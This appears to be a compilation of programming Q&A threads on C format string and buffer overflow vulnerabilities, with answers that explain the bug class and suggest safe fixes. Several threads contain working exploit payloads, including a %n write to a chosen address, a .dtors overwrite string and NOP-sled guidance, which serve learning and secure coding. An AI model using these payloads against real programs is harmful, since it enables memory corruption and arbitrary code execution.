C sprintf exploit (formatting attack) - c

I want to write the integer 1 to the address 0x08049940 using the format string exploit (specifally the sprintf)
this is how the function looks like
void greet(char *s) {
char buf[666];
sprintf(buf, "Hello %s!\n", s);
printf(buf);
}
I tried multiple tutorials but I believe they don't work because my string allready starts with "Hello ". So I tried to start writing lower using the input
%.1%n\x39\x99\x04\x08
which is 7 values lower, as well as other addresses in the neighbourhood of the original one. Yet my gdb debugger keeps telling me that the adress on 0x08049940 is still the default address specified in code.

You wouldn't exploit the sprintf to have a format string attack, but the later printf call.
Exploiting this is rather easy if you can observe the output. Instead of going for exploit directly, you can craft a string with enough %p or %x until you see your desired bytes. For example this program works for me:
#include <stdio.h>
void greet(char *s) {
char buf[666];
sprintf(buf, "Hello %s!\n", s);
printf(buf);
}
int main(void) {
greet("aaaaaa%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p"
"%p%p%p%p%p%p%p%0#p\x01\x02\x03\x04");
}
I compile with gcc -m32 and run, the output is
Hello aaaaaaaa0x566386f00x566386fc0x566385ac0xf7f4e5580x1
0x10x566386fc0x6548d9a40x206f6c6c0x616161610x61616161
0x702570250x702570250x702570250x702570250x70257025
0x702570250x702570250x702570250x702570250x70257025
0x702570250x702570250x4030201!
Now that we see the 0x04030201, we can change the final %0#p to %hhn to write one byte to the address, or %hn for a short, or %n for int. This number is the count of characters written so far, converted to char, short or int.
When we know where in stack the address is, we can change each %p to %c and we know that it is going to consume exactly one character, giving better control over the resulting number.
We've got some slack with as in the beginning - this can be used to change the precision of one of the conversions there to change the number of character written easily as desired (for example if the resulting number is 123 too low, it can be extended by printing one character with 124 character field width: %124c); the addition of count there can be offset by removing 3 a's from the prompt.
Again this can be verified by using %0#p:
greet("aaa%123c%c%c%c%c%c%p%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%0#p\x01\x02\x03\x04");
and we get:
Hello aaa
���X0x565e46fc�la1%%%%%%%%%%%%0x4030201!
Finally we just replace %0#p with %hhn and there be magic.
To demonstrate that it really is writing to the address 0x04030201, you can use gdb to find out the address that caused the violation:
Program received signal SIGSEGV, Segmentation fault.
0xf7e216aa in vfprintf () from /lib32/libc.so.6
(gdb) p $_siginfo._sifields._sigfault.si_addr
$1 = (void *) 0x4030201
And the rest is left as an exercise to the reader...

Related

Exploits in use of Externally-Controlled Format String

first, please look thought this website (https://cwe.mitre.org/data/definitions/134.html). They are some code is having vulnerability. I not really understand where is the vulnerability code, them talking about.
It has 3 code snippets with vulnerability such as PrintWrapper, Snprintf and %1$d, present on this website.
#CassieJade you need to look at the documentation of these functions online.
printf, snpritf are pretty common functions. And by the way, this platform is not for school assignments. You are most welcome if you have tried something and want to follow from there.
http://www.cplusplus.com/reference/cstdio/printf/
http://www.cplusplus.com/reference/cstdio/snprintf/
The following explains beautifully about your concern of $.
(GCC) Dollar sign in printf format string
Notation %2$d means the same as %d (output signed integer), except it formats the parameter with given 1-based number (in your case it's a second parameter, b).
int a = 3, b = 2;
printf("%2$d %1$d", a, b);
Here you would expect 3 2 to be printed, but it will print 2 3, because the parameter a becomes param#1, and b becomes param#2, and %2$d is printed first so 2 is printed first followed by %1$d which is 3
You may want to look at man page of printf, its a bit complex for newbies but its the final source of truth.
The following is your print wrapper.
char buf[5012];
memcpy(buf, argv[1], 5012);
printWrapper(argv[1]);
return (0);
Your website says: When an attacker can modify an
externally-controlled format string, this can lead to buffer
overflows, denial of service, or data representation problems.
Now, if this argv1 can be provided by someone who is not trusted, he can provide any junk argument which will go to printf. The goal of your task is to not to feed on print() with any string that is externally controlled.
e.g. argv1 can be very huge string (max allowable).
Or for example I am the one invoking your program and I passed argv1 as "%d Hello World", your printWrapper will end up printing some junk like "-446798072 Hello World", because no integer is passed as argument in printf(argv1).
Also memcpy is reading fixed number of bytes from origin argv1 which can have shorter length string, in this case it will be an invalid read (read past bound).
snprintf(buf,128,argv[1]);
exploit here is very clear, the argv1 can be changed with containment of several specifiers like %n which can write n number of bytes to your buf rather than intended write. By using %X in argc1 hacker can gain address of a variable on stack which can be exploited further. All this is vulnerable because an external untrusted source is creating the format specifier string that is used by your printf or snprintf, sprintf functions.
For example suppose hacker gave "%200d" in the argv1. sprintf(buf, 128, argv[1]);
will land up printing 200 bytes and then a junk integer, which might not be intended at all, since its snprintf which is a bounded function it will allow only 128 bytes to be written which will be empty.
I hope it is clear now.

How to crash this C program? [duplicate]

I have a small C program to be exploited. And I also understood the logic behind the attack to be performed. However, as much as I try, it is just not working for me.
#include <stdio.h>
#include <stdlib.h>
#define SECRET1 0x44
#define SECRET2 0x55
int main(int argc, char *argv[]) {
char user_input[100];
int *secret;
int int_input;
int a, b, c, d; /* other variables, not used here.*/
/* The secret value is stored on the heap */
secret = (int *) malloc(2*sizeof(int));
/* getting the secret */
secret[0] = SECRET1; secret[1] = SECRET2;
printf("Please enter a decimal integer\n");
scanf("%d", &int_input); /* getting an input from user */
printf("Please enter a string\n");
scanf("%s", user_input); /* getting a string from user */
printf(user_input);
printf("\n");
/* Verify whether your attack is successful */
printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]);
return 0;
}
I just need to print the address and value of secret[0] using the format string "printf(user_input);"
I have tried giving something like "\x6e\xaf\xff\xff%x%x%x%x%s". but it is not working. Any suggestions will be appreciated. Thanks a lot.
This looks like an exercise for a class, so I'll provide some pointers, but no the actual solution.
You are attempting to exploit this program, by providing untrusted input. There are two fairly obvious bugs here; one is the scanf() using %s, as you can overflow the buffer and overwrite the stack. The other is a format-string vulnerability. Overwriting the stack probably wouldn't let you do anything interesting until the function returned. Based on the "verify whether your attack is successful" section, you probably want to exploit the vulnerability before then, so I'm guessing it's supposed to be a format string vulnerability.
Based on the verification section, you are expected to overwrite the memory pointed to by secret. The only way of causing printf to write to a controlled location in memory is to use the %n format specifier, which writes the given pointer.
Now the trick is to figure out how to walk up the stack until we find the appropriate pointer. Conveniently, there's a user-controlled integer right before the pointer on the stack. So, we enter a number with an easy to spot pattern (maybe 65535, which is ffff in hex), and use a format string with a lot of %xs to see what's on the stack. Once we find that, the next thing on the stack should be the pointer.
Hmm. I just tried this, and it turns out that it's not quite so simple. The exact layout of the stack frame isn't actually related to the order of declarations; and it differs between different systems for me. Instead, I had to use a lot of %lxs, along with a well-known string at the beginning, and add a line to print out the actual pointer, so I would know when I found it. Then replace the corresponding %lx with the %n to write through that pointer. It may be easiest to just try 20 or so %lxs, and substitute each one by one with %n, until you have managed to overwrite that pointer.
Anyhow, hope that's enough to get you started. Let me know if you have any questions.

How do I use formatstring to print out a string?

I'm going through tutorials on formatstring vulnerabilities to learn how to code more securely. The program I've written so far is as follows:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
char text[100];
strcpy(text, argv[1]);
printf(text);
}
I'm running it like this:
>>> ./foo $(ruby -e 'print "AAAA" + "%08x."*9 + "%x"')
AAAAffe466f4.00000001.f763b1c9.ffe458df.ffe458de.00000000.ffe459c4.ffe45964.00000000.41414141
I can see the "41414141" at the end, which is the AAAA at the beginning of the string. However, when I use "%s" instead like so:
>>> ./foo $(ruby -e 'print "AAAA" + "%08x."*9 + "%s"')
I get a segfault. Can anyone point me in the right direction?
The thing is that at this point, you reach raw AAAA on the stack; however, the %s specifier expects a pointer to a string, i.e. the address of your AAAA, instead. There is no format string specifier for what you want to do as in the normal course of execution you wouldn't have a string pasted directly as printf()'s parameter; one idea would be %c%c%c%c to at least print the data as characters instead of hex values, but that will not work either as the smallest size of a parameter in C is an int and even the %c specifier works with int-sized parameter memory region.
It's generally undefined behaviour to use printf on a dynamic string, since you can't guarantee that the string isn't free of format specifiers. The correct thing is to say,
printf("%s", text);
or just
puts(text);
Now, that said, your first example comes down to printf("%x%x");. This is of course UB, but the two %x specifiers just make you read a bounded amount off the stack (two words), which will print garbage, but only a finite amount.
On the other hand, when you say printf("%s"), the function expects a pointer to a null-terminated sequence of bytes in a memory region which you do not control! Essentially, the function will read one word off the stack, pretend it is a pointer, and read the memory pointed to by that value -- which will almost certainly cause a segmentation fault, since you aren't allowed to access most memory addresses by default. And even if the address points into memory you're allowed to access, there's no reason there should be a zero byte coming up soon, and so you may well just run off the page and into illegal memory.
In test you have at the end %s. printf expects a char-pointer when it encounters a %s but you don't provide any --> segfault. Use puts instead or printf("%s", test);
$ ruby -e 'print "AAAA" + "%08x."*9 + "%x"'
AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%x
$ ruby -e 'print "AAAA" + "%08x."*9 + "%s"'
AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%s
Both strings are invalid for printf because you are not passing the arguments required.

Format String Vulnerability troubles

So I have this function:
void print_usage(char* arg)
{
char buffer[640];
sprintf(buffer, "Usage: %s [options]\n"
"Randomly generates a password, optionally writes it to /etc/shadow\n"
"\n"
"Options:\n"
"-s, --salt <salt> Specify custom salt, default is random\n"
"-e, --seed [file] Specify custom seed from file, default is from stdin\n"
"-t, --type <type> Specify different encryption method\n"
"-v, --version Show version\n"
"-h, --help Show this usage message\n"
"\n"
"Encryption types:\n"
" 0 - DES (default)\n"
" 1 - MD5\n"
" 2 - Blowfish\n"
" 3 - SHA-256\n"
" 4 - SHA-512\n", arg);
printf(buffer);
}
I wish to utilize a format string vulnerability attack (my assignment). Here is my attempt:
I have an exploit program which fills a buffer with noops and shell code (I have used this program to buffer overflow the same function, so I know its good). Now, I did an object dump of the file to find the .dtors_list address and I got 0x0804a20c, adding 4 bytes to get the end I get 0x804a210.
Next I used gdb to find at what address my noops begin while running my program. Using this I got 0xffbfdbb8.
So up to this point I feel like I'm correct, now I know I want to use format string to copy the noop address into my .dtors_end address. Here is the string I came up with (this is the string I'm providing as user input to the function):
"\x10\xa2\x04\x08\x11\xa2\x04\x08\x12\xa2\x04\x08\x13\xa2\x04\x08%%.168u%%1$n%%.51u%%2$n%%.228u%%3$n%%.64u%%4$n"
This doesn't work for me. The program runs normally and the %s is replaced with the string I input (minus the little endian memory address at the front, and the two percent signs are now one percent sign for some reason).
Anyways, I'm kind of stumped here, any help would be appreciated.
Disclaimer: I'm no expert.
You're passing "\x10\xa2\x04\x08\x11\xa2\x04\x08\x12\xa2\x04\x08\x13\xa2\x04\x08%%.168u%%1$n%%.51u%%2$n%%.228u%%3$n%%.64u%%4$n" as the value of arg? That means that buffer will contain
"Usage:\x20\x10\xa2\x04\x08\x11\xa2\x04\x08\x12\xa2\x04\x08\x13\xa2\x04\x08%.168u%1$n%.51u%2$n%.228u%3$n%.64u%4$n [options]\x0aRandomly..."
Now let's further assume that you're on an x86-32 target (if you're on x86-64, this won't work), and that you're compiling with an optimization level that doesn't put anything in print_usage's stack frame except for the 640-byte buffer array.
Then printf(buffer) will do the following things, in order:
Push the 4-byte address &buffer.
Push a 4-byte return address.
Invoke printf...
Print out "Usage:\x20\x10\xa2\x04\x08\x11\xa2\x04\x08\x12\xa2\x04\x08\x13\xa2\x04\x08" (a sequence of 23 bytes).
%.168u: Interpret the next argument to printf as an unsigned int and print it in a field of width 168. Since printf has no next argument, this is actually going to print the next thing on the stack; that is, the first four bytes of buffer; that is, "Usag" (0x67617355).
%1$n: Interpret the second argument to printf as a pointer to int and store 23+168 at that location. This stores 0x000000bf in location 0x67617355. So this is your main problem: You should have used %2$n instead of %1$n and added one junk byte to the front of your arg. (Incidentally, notice that GNU says "If any of the formats has a specification for the parameter position all of them in the format string shall have one. Otherwise the behavior is undefined." So you should go through and add 1$s to all your %us just to be on the safe side.)
%.51u: Print another 51 bytes of garbage.
%2$n: Interpret the third argument to printf as a pointer to int and store 0x000000f2 in that garbage location. As above, this should have been %3$n.
... etc. etc. ...
So, your major bug here is that you forgot to account for the "Usage: " prefix.
I assume you were trying to store the four bytes 0xffbfdbb8 into address 0x804a210. Let's say you'd gotten that to work. But then what would your next step be? How do you get the program to treat the four-byte quantity at 0x804a210 as a function pointer and jump through it?
The traditional way to exploit this code would be to exploit the buffer overflow in sprintf, rather than the more complicated "%n" vulnerability in printf. You just need to make your arg roughly 640 characters long and make sure that the 4 bytes of it that correspond to print_usage's return address contain the address of your NOP sled.
Even that part is tricky, though. You might conceivably be running into something related to ASLR: just because your sled exists at address 0xffbfdbb8 in one run doesn't mean it'll exist at that same address in the next run.
Does this help?

Segmentation fault in pipe

Given the following program:
#include <stdio.h>
int main()
{
char buf[1024];
scanf("%s", buf);
printf("----> %s", buf);
return 0;
}
which is executed as follows:
grep ....| a.out
or
echo ....| a.out
I get a Segmentation fault error. Can anyone explain why?
Whatever you are echoing or grepping must contain more than 1023 characters. (1024 - 1 for the null terminator.)
Instead of using scanf, use fgets and specify a size. Alternatively, use scanf but specify the field length. You can do scanf("%1023s", buf);. If there's more bytes available, you can always do it again to read in the rest.
Given your test input, you should not receive a segfault. I just tried it locally and it worked fine. If you are on Linux, since you wrote a.out instead of ./a.out, depending on how your path is configured you may be running the wrong program (some sort of a.out in your bin folder?)
Don't ever use scanf with unbounded strings. fgets provides a much safer alternative, especially if you provide an intelligent wrapper function like the one in this answer.
I'm assuming that's just sample code here but, just in case it isn't, you can achieve the same effect with:
WhateverYourCommandIs | sed 's/^/----> '
without having to write your own tool to do the job. In fact, with sed, awk and the likes, you probably never need to write text processing tools yourself.
from scanf man:
s Matches a sequence of non-white-space characters; the next pointer must be a pointer to character array that is long enough to hold the input sequence and the terminating null character ('\0'), which is added automatically. The input string stops at white space or at the maximum field width, whichever occurs first.
specifying maximum field width will prevent stack overrun
scanf("%1023s", buf);
and to ensure stack no overrun on printf use memset:
memset(buf,0,1024);
so, programm will be:
#include <stdio.h>
#include <string.h>
int main()
{
char buf[1024];
memset(buf,0,1024);
scanf("%1023s", buf);
printf("----> %s", buf);
return 0;
}

Resources